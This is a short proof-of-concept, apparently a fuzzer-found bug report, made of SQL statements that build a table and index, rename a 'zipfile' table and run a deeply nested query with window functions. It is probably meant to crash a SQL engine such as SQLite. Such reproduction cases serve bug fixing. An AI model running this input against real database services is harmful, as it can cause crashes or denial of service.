POC:
---
CREATE TABLE v0 ( v1 ) ;
CREATE INDEX v2 ON v0 ( v1 , v1 ) ;
ALTER TABLE zipfile RENAME TO x ; DROP TRIGGER IF EXISTS x ;
WITH v2 AS ( SELECT v1 FROM v0 WHERE 0 ) SELECT ( SELECT v1 FROM v2 UNION ALL SELECT rank () OVER( PARTITION BY ( SELECT max ( ( SELECT count () FROM v0 JOIN v2 AS b ON v2 . v1 = v0 . v1 ) ) FROM v2 GROUP BY v1 HAVING v1 < 'MED PKG' ) ORDER BY ( SELECT v1 FROM v2 NATURAL JOIN v2 WHERE v1 = v1 AND v1 > 3 GROUP BY v1 ) ) FROM v2 ORDER BY v1 ASC , v1 ASC LIMIT 2 ) FROM v2 WHERE v1 IN ( 10 , NULL ) ;
---
|